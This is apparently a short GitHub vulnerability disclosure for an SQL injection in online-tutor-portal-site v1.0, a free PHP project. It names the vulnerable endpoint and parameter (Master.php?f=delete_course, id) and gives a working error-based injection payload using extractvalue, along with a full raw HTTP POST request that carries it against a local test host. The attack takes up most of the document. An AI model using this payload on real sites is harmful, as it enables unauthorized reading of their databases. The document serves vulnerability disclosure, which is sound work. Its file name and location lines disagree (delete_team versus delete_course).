mikeccltt Update sql.md History

1 contributor

33 lines (23 sloc) | 1.15 KB

online-tutor-portal-site v1.0 has SQL injection

vendors: https://www.sourcecodester.com/php/15339/online-tutor-portal-site-phpopp-free-source-code.html

Date: 2022-05-07

Vulnerability File: /otps/classes/Master.php?f=delete_team

Vulnerability location:/otps/classes/Master.php?f=delete_course, id

[+] Payload: 2'and/**/extractvalue(1,concat(char(126),database()))and'

Tested on Windows 10, XAMPP

```
POST http://192.168.2.102/otps/classes/Master.php?f=delete_course HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
```

```
Content-Length: 60
Origin: http://192.168.2.102
Connection: close
Referer: http://192.168.2.102/otps/admin/?page=courses
Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

id=2'and/**/extractvalue(1,concat(char(126),database()))and'
```